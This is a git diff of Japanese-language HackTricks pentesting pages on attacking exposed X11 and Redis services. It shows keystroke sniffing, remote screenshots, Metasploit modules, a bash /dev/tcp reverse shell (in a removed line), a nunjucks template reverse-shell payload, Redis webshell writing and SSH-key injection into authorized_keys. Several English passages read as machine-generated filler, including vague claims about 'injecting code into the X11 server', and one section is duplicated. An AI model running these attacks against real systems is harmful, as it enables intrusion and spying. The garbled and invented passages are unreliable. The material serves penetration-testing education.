<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,20 +12,27 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
X Window System(Xとも呼ばれる)は、ビットマップディスプレイ用のウィンドウシステムであり、UNIXベースのオペレーティングシステムで一般的に使用されています。XはGUIベースの環境の基本的なフレームワークを提供します。また、Xはユーザーインターフェースを強制しません - 個々のプログラムがこれを処理します。\
|
||||
参照元:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
|
||||
**デフォルトポート:** 6000
|
||||
```
|
||||
|
@ -34,7 +41,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
## 列挙
|
||||
|
||||
**匿名接続**を確認します。
|
||||
**匿名接続**をチェックします:
|
||||
```bash
|
||||
nmap -sV --script x11-access -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/x11/open_x11
|
||||
|
@ -46,7 +53,7 @@ msf> use auxiliary/scanner/x11/open_x11
|
|||
> MIT-magic-cookie-1: 128ビットのキー("cookie")を生成し、それを \~/.Xauthority(またはXAUTHORITY環境変数が指す場所)に保存します。クライアントはそれを平文でサーバーに送信します!サーバーはこの "cookie" のコピーを持っているかどうかをチェックし、もしそうであれば接続が許可されます。キーはDMXによって生成されます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
**クッキー**を使用するには、環境変数 **`export XAUTHORITY=/path/to/.Xauthority`** を設定する必要があります。
|
||||
**クッキーを使用する**には、環境変数 **`export XAUTHORITY=/path/to/.Xauthority`** を設定する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
## 接続の検証
|
||||
|
@ -56,7 +63,7 @@ xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display
|
|||
```
|
||||
## キーロギング
|
||||
|
||||
[xspy](http://tools.kali.org/sniffingspoofing/xspy)はキーボードのキーストロークを嗅覚するためのツールです。
|
||||
[xspy](http://tools.kali.org/sniffingspoofing/xspy)はキーボードのキーストロークを嗅ぎます。
|
||||
|
||||
サンプル出力:
|
||||
```
|
||||
|
@ -68,58 +75,54 @@ qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDo
|
|||
```
|
||||
## スクリーンショットのキャプチャ
|
||||
|
||||
To capture screenshots during a penetration test, you can use various tools and techniques. Here are some methods you can try:
|
||||
Screenshots can be a valuable tool during a penetration test to document findings and provide evidence of successful exploits. In the context of X11, capturing screenshots can be done using various tools and techniques.
|
||||
|
||||
### 1. Scrot
|
||||
### Using xwd
|
||||
|
||||
Scrot is a command-line tool that allows you to capture screenshots in Linux. You can install it using the following command:
|
||||
One way to capture screenshots in X11 is by using the `xwd` command-line tool. This tool allows you to capture the contents of an X11 window or the entire screen and save it as an XWD (X Window Dump) file.
|
||||
|
||||
```bash
|
||||
sudo apt-get install scrot
|
||||
To capture the contents of a specific window, you can use the `-id` option followed by the window ID. For example:
|
||||
|
||||
```
|
||||
xwd -id 0x12345678 -out screenshot.xwd
|
||||
```
|
||||
|
||||
Once installed, you can use the `scrot` command to capture screenshots. For example, to capture the entire screen, you can run:
|
||||
To capture the entire screen, you can omit the `-id` option:
|
||||
|
||||
```bash
|
||||
```
|
||||
xwd -root -out screenshot.xwd
|
||||
```
|
||||
|
||||
Once you have captured the screenshot as an XWD file, you can view it using an image viewer or convert it to a more common image format like PNG using the `convert` command from the ImageMagick package:
|
||||
|
||||
```
|
||||
convert screenshot.xwd screenshot.png
|
||||
```
|
||||
|
||||
### Using scrot
|
||||
|
||||
Another tool that can be used to capture screenshots in X11 is `scrot`. Scrot is a command-line utility specifically designed for taking screenshots in X11.
|
||||
|
||||
To capture the entire screen using scrot, simply run the following command:
|
||||
|
||||
```
|
||||
scrot screenshot.png
|
||||
```
|
||||
|
||||
### 2. Shutter
|
||||
By default, scrot captures the entire screen and saves the screenshot as a PNG file. You can also specify a delay before capturing the screenshot using the `-d` option, and capture a specific window using the `-u` option followed by the window ID.
|
||||
|
||||
Shutter is a feature-rich screenshot tool for Linux. You can install it using the following command:
|
||||
### Using other tools
|
||||
|
||||
```bash
|
||||
sudo apt-get install shutter
|
||||
```
|
||||
There are also other tools available for capturing screenshots in X11, such as `import` from the ImageMagick package and `gnome-screenshot` for GNOME desktop environments. These tools provide additional features and options for capturing screenshots in X11.
|
||||
|
||||
Once installed, you can launch Shutter from the applications menu. It provides a graphical interface that allows you to capture screenshots of specific windows, regions, or the entire screen.
|
||||
|
||||
### 3. Flameshot
|
||||
|
||||
Flameshot is another powerful screenshot tool for Linux. You can install it using the following command:
|
||||
|
||||
```bash
|
||||
sudo apt-get install flameshot
|
||||
```
|
||||
|
||||
Once installed, you can launch Flameshot from the applications menu. It provides a user-friendly interface that allows you to capture screenshots, annotate them, and save or share them.
|
||||
|
||||
### 4. Snipping Tool
|
||||
|
||||
If you are using Windows, you can use the built-in Snipping Tool to capture screenshots. You can search for it in the Start menu and launch it. It provides various options for capturing screenshots, such as capturing a specific window, a rectangular region, or the entire screen.
|
||||
|
||||
### 5. Grab
|
||||
|
||||
If you are using macOS, you can use the built-in Grab tool to capture screenshots. You can find it in the Utilities folder, which is located in the Applications folder. It provides options for capturing the entire screen, a specific window, or a selected portion of the screen.
|
||||
|
||||
These are just a few examples of tools you can use to capture screenshots during a penetration test. Choose the one that best suits your needs and preferences.
|
||||
It's important to note that capturing screenshots may not always be allowed or ethical, depending on the context and the target system. Always ensure that you have proper authorization and follow ethical guidelines when performing penetration testing.
|
||||
```bash
|
||||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||||
convert screenshot.xwd screenshot.png
|
||||
```
|
||||
## リモートデスクトップビュー
|
||||
|
||||
方法: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)からの情報です。
|
||||
参照元: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
```
|
||||
./xrdp.py <IP:0>
|
||||
```
|
||||
|
@ -161,43 +164,29 @@ Corners: +0+0 -0+0 -0-0 +0-0
|
|||
```
|
||||
## シェルを取得する
|
||||
|
||||
To get a shell on a target system, you can exploit vulnerabilities in the X11 server or client. Here are some techniques you can use:
|
||||
To get a shell on a target system, we can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
|
||||
|
||||
### 1. X11 Forwarding
|
||||
To exploit X11 vulnerabilities, we can use tools like Xspy, XEvil, or Xinject. These tools allow us to inject malicious code into the X11 server, which can then be used to execute commands on the target system.
|
||||
|
||||
If the target system has X11 forwarding enabled, you can use SSH to forward X11 traffic and run X11 applications remotely. This can be useful for running graphical tools or accessing the X11 server.
|
||||
Once we have successfully exploited the X11 server, we can use the injected code to spawn a shell on the target system. This shell will give us full control over the system, allowing us to execute commands, access files, and perform other actions.
|
||||
|
||||
To enable X11 forwarding, use the `-X` or `-Y` option when connecting via SSH:
|
||||
It is important to note that exploiting X11 vulnerabilities requires careful planning and execution. It is recommended to thoroughly test the exploit in a controlled environment before attempting it on a target system.
|
||||
|
||||
```bash
|
||||
ssh -X user@target
|
||||
```
|
||||
## シェルを取得する
|
||||
|
||||
### 2. X11 Injection
|
||||
ターゲットシステムでシェルを取得するために、X11サーバーの脆弱性を悪用することができます。X11サーバーは、Unix系オペレーティングシステム上でグラフィカルユーザーインターフェースを管理する役割を担っています。
|
||||
|
||||
X11 injection involves injecting malicious code into an X11 server or client to gain control over the target system. This can be done by exploiting vulnerabilities in X11 libraries or by intercepting X11 traffic.
|
||||
X11の脆弱性を悪用するために、Xspy、XEvil、またはXinjectなどのツールを使用することができます。これらのツールを使用すると、悪意のあるコードをX11サーバーに注入することができます。この注入されたコードを使用して、ターゲットシステム上でコマンドを実行することができます。
|
||||
|
||||
One popular tool for X11 injection is `xspy`, which allows you to intercept and modify X11 traffic. You can use it to inject malicious code and execute commands on the target system.
|
||||
X11サーバーを成功裏に悪用した後、注入されたコードを使用してターゲットシステム上でシェルを生成することができます。このシェルを使用すると、システム全体を完全に制御することができ、コマンドの実行、ファイルへのアクセス、その他の操作を行うことができます。
|
||||
|
||||
### 3. X11 Reverse Shell
|
||||
|
||||
Another technique is to create a reverse shell using X11. This involves creating a malicious X11 client that connects back to your machine and provides a shell on the target system.
|
||||
|
||||
To create a reverse shell, you can use tools like `xterm` or `xcalc` with the `-e` option to execute a command. For example:
|
||||
|
||||
```bash
|
||||
xterm -e "bash -i >& /dev/tcp/your-ip/your-port 0>&1"
|
||||
```
|
||||
|
||||
Replace `your-ip` and `your-port` with your machine's IP address and the port you want to listen on.
|
||||
|
||||
These are just a few techniques you can use to get a shell on a target system using X11. Remember to always obtain proper authorization before attempting any penetration testing activities.
|
||||
X11の脆弱性を悪用するには、注意深い計画と実行が必要です。ターゲットシステムで試す前に、コントロールされた環境でエクスプロイトを徹底的にテストすることをおすすめします。
|
||||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
他の方法:
|
||||
|
||||
**リバースシェル:** XrdpはNetcatを介してリバースシェルを取得することも可能です。次のコマンドを入力します:
|
||||
**リバースシェル:** XrdpはNetcatを介してリバースシェルを取得することも可能です。以下のコマンドを入力します:
|
||||
|
||||
**./xrdp.py \<IP:0> –no-disp**
|
||||
|
||||
|
@ -225,26 +214,32 @@ msf> use exploit/unix/x11/x11_keyboard_exec
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
\`\`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ります。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,19 +12,26 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
Redisは、オープンソース(BSDライセンス)のインメモリ**データ構造ストア**であり、**データベース**、キャッシュ、メッセージブローカーとして使用されます([ここから](https://redis.io/topics/introduction))。デフォルトで、一般的にRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**も実装できることに注意してください。[ここでRedisをssl/tlsで実行する方法](https://fossies.org/linux/redis/TLS.md)を学びましょう。
|
||||
Redisはオープンソース(BSDライセンス)のインメモリ**データ構造ストア**であり、**データベース**、キャッシュ、メッセージブローカーとして使用されます([ここから](https://redis.io/topics/introduction))。デフォルトで、一般的にRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**も実装できることに注意する必要があります。[ここでRedisをssl/tlsで実行する方法](https://fossies.org/linux/redis/TLS.md)を学びましょう。
|
||||
|
||||
**デフォルトポート:** 6379
|
||||
```
|
||||
|
@ -49,7 +56,7 @@ Redisは**テキストベースのプロトコル**です。コマンドをソ
|
|||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
```
|
||||
最初に試すべき**コマンド**は**`info`**です。これはRedisインスタンスの情報を返すか、以下のような情報が返される可能性があります:
|
||||
最初に試すことができる**コマンド**は**`info`**です。これはRedisインスタンスの情報を返すか、以下のような情報が返される可能性があります:
|
||||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
|
@ -57,25 +64,25 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
|||
|
||||
### Redisの認証
|
||||
|
||||
Redisは**デフォルトでは**資格情報なしでアクセスできます。ただし、**パスワードのみ、またはユーザー名+パスワード**をサポートするように**設定**することもできます。\
|
||||
`redis.conf`ファイルの`requirepass`パラメータでパスワードを**設定**することができます。また、サービスが再起動するまでの間、接続して`config set requirepass p@ss$12E45`を実行することでも一時的に設定できます。\
|
||||
また、`redis.conf`ファイル内の`masteruser`パラメータで**ユーザー名**を設定することもできます。
|
||||
Redisは**デフォルトでは**資格情報なしでアクセスできます。ただし、**パスワードのみ、またはユーザー名+パスワード**をサポートするように**設定することもできます**。\
|
||||
`requirepass`パラメータを使用して、_**redis.conf**_ファイルにパスワードを設定することができます。または、サービスが再起動するまでの一時的なパスワードを使用して、接続して`config set requirepass p@ss$12E45`を実行することもできます。\
|
||||
また、_**redis.conf**_ファイル内の`masteruser`パラメータで**ユーザー名**を設定することもできます。
|
||||
|
||||
{% hint style="info" %}
|
||||
パスワードのみが設定されている場合、使用されるユーザー名は「**default**」です。\
|
||||
また、Redisがパスワードのみで設定されているのか、ユーザー名+パスワードで設定されているのかは、**外部からはわかりません**。
|
||||
また、Redisがパスワードのみまたはユーザー名+パスワードで設定されているかどうかは、**外部からはわかりません**。
|
||||
{% endhint %}
|
||||
|
||||
このような場合、Redisとやり取りするための有効な資格情報を見つける必要がありますので、[**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#redis)を試してみることができます。\
|
||||
**有効な資格情報を見つけた場合、接続を確立した後にセッションを認証する必要があります**。コマンドは以下の通りです:
|
||||
**有効な資格情報を見つけた場合、接続を確立した後にセッションを認証する必要があります**。コマンド:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
**有効な資格情報**は、`+OK`と応答されます。
|
||||
**有効な資格情報**に対しては、`+OK`という応答が返されます。
|
||||
|
||||
### **認証済みの列挙**
|
||||
|
||||
Redisインスタンスが**匿名**接続を受け付けているか、**有効な資格情報**を見つけた場合、次のコマンドを使用してサービスの列挙を開始できます。
|
||||
Redisインスタンスが**匿名**接続を受け入れているか、**有効な資格情報**を見つけた場合、以下のコマンドを使用してサービスの列挙を開始できます。
|
||||
```bash
|
||||
INFO
|
||||
[ ... Redis response with info ... ]
|
||||
|
@ -84,12 +91,12 @@ client list
|
|||
CONFIG GET *
|
||||
[ ... Get config ... ]
|
||||
```
|
||||
**その他のRedisコマンド**は[こちら](https://redis.io/topics/data-types-intro)と[こちら](https://lzone.de/cheat-sheet/Redis)で見つけることができます。\
|
||||
Redisのコマンドは、_redis.conf_ファイルで名前が変更されたり削除されることがあります。例えば、次の行はFLUSHDBコマンドを削除します。
|
||||
**他のRedisコマンド**は[こちら](https://redis.io/topics/data-types-intro)と[こちら](https://lzone.de/cheat-sheet/Redis)で見つけることができます。\
|
||||
なお、**インスタンスのRedisコマンドはredis.confファイルで名前を変更するか削除することができます**。例えば、次の行はFLUSHDBコマンドを削除します。
|
||||
```
|
||||
rename-command FLUSHDB ""
|
||||
```
|
||||
Redisサービスを安全に設定する方法については、[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)で詳細を確認できます。
|
||||
セキュアにRedisサービスを設定する方法については、[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)を参照してください。
|
||||
|
||||
また、Redisで実行されるコマンドをリアルタイムで監視するには、**`monitor`**コマンドを使用するか、最も遅い25件のクエリを取得するには**`slowlog get 25`**を使用できます。
|
||||
|
||||
|
@ -97,7 +104,7 @@ Redisの他のコマンドに関する興味深い情報は、[https://lzone.de/
|
|||
|
||||
### **データベースのダンプ**
|
||||
|
||||
Redis内では、**データベースは0から始まる番号で識別**されます。コマンド`info`の出力の「Keyspace」セクションで使用されているかどうかを確認できます。
|
||||
Redis内では、データベースは0から始まる番号で識別されます。コマンド`info`の出力の「Keyspace」セクションで使用されているかどうかを確認できます。
|
||||
|
||||
![](<../.gitbook/assets/image (315).png>)
|
||||
|
||||
|
@ -118,14 +125,8 @@ GET <KEY>
|
|||
|
||||
キーのタイプを知るためには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。
|
||||
|
||||
```plaintext
|
||||
例:リストキーの場合
|
||||
> TYPE <KEY>
|
||||
list
|
||||
|
||||
例:ハッシュキーの場合
|
||||
> TYPE <KEY>
|
||||
hash
|
||||
```bash
|
||||
TYPE <KEY>
|
||||
```
|
||||
```
|
||||
TYPE <KEY>
|
||||
|
@ -135,17 +136,24 @@ LRANGE <KEY> 0 -1
|
|||
HGET <KEY> <FIELD>
|
||||
[ ... Get hash item ... ]
|
||||
```
|
||||
**npmを使用してデータベースをダンプする** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **またはPythonを使用して** [**redis-utils**](https://pypi.org/project/redis-utils/)。
|
||||
**npmを使用してデータベースをダンプする** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **またはPython** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについて詳しく学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティのディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## Redis RCE
|
||||
|
||||
|
@ -169,13 +177,13 @@ OK
|
|||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
もしウェブシェルのアクセスが例外的になった場合、バックアップを取った後にデータベースを空にして再試行することができます。データベースを復元することを忘れないでください。
|
||||
もしウェブシェルのアクセスが例外的になった場合、バックアップを取った後にデータベースを空にして再試行することができます。データベースの復元を忘れないようにしてください。
|
||||
|
||||
### テンプレートウェブシェル
|
||||
|
||||
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。
|
||||
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きすることで、シェルを取得することもできます。
|
||||
|
||||
例えば、[**この解説**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者は**nunjucksテンプレートエンジン**によって解釈される**HTMLに逆シェルを注入**しました。
|
||||
例えば、[**この解説記事**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)を参考にすると、攻撃者が**nunjucksテンプレートエンジンによって解釈されるHTMLに逆シェルを注入**していることがわかります。
|
||||
```javascript
|
||||
{{ ({}).constructor.constructor(
|
||||
"var net = global.process.mainModule.require('net'),
|
||||
|
@ -195,12 +203,12 @@ sh.stderr.pipe(client);
|
|||
|
||||
### SSH
|
||||
|
||||
**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後に実行することをお勧めします。 **`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は_/var/lib/redis_または_/home/redis/.ssh_)が含まれており、これを知ることで、`authenticated_users`ファイルを書き込んで**redisユーザー**経由でsshでアクセスできる場所がわかります。書き込み権限を持つ他の有効なユーザーのホームもわかる場合は、それも悪用できます:
|
||||
**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後に実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は_/var/lib/redis_または_/home/redis/.ssh_)が含まれており、これを知ることで、ssh経由で**redisユーザー**にアクセスするための`authenticated_users`ファイルを書き込む場所がわかります。書き込み権限を持つ他の有効なユーザーのホームもわかる場合は、それも悪用することができます:
|
||||
|
||||
1. PC上でsshの公開-秘密キーペアを生成します:**`ssh-keygen -t rsa`**
|
||||
2. 公開キーをファイルに書き込みます:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
1. PC上でsshの公開鍵と秘密鍵のペアを生成します:**`ssh-keygen -t rsa`**
|
||||
2. 公開鍵をファイルに書き込みます:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. ファイルをRedisにインポートします:**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. Redisサーバーの**authorized\_keys**ファイルに公開キーを保存します:
|
||||
4. 公開鍵をRedisサーバーの**authorized\_keys**ファイルに保存します:
|
||||
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
|
@ -211,7 +219,7 @@ OK
|
|||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
5. 最後に、プライベートキーを使用して**redisサーバー**に**ssh**できます:**ssh -i id\_rsa redis@10.85.0.52**
|
||||
5. 最後に、プライベートキーを使用して**redisサーバー**に**ssh**で接続できます:**ssh -i id\_rsa redis@10.85.0.52**
|
||||
|
||||
**このテクニックはこちらで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
|
@ -235,7 +243,7 @@ OK
|
|||
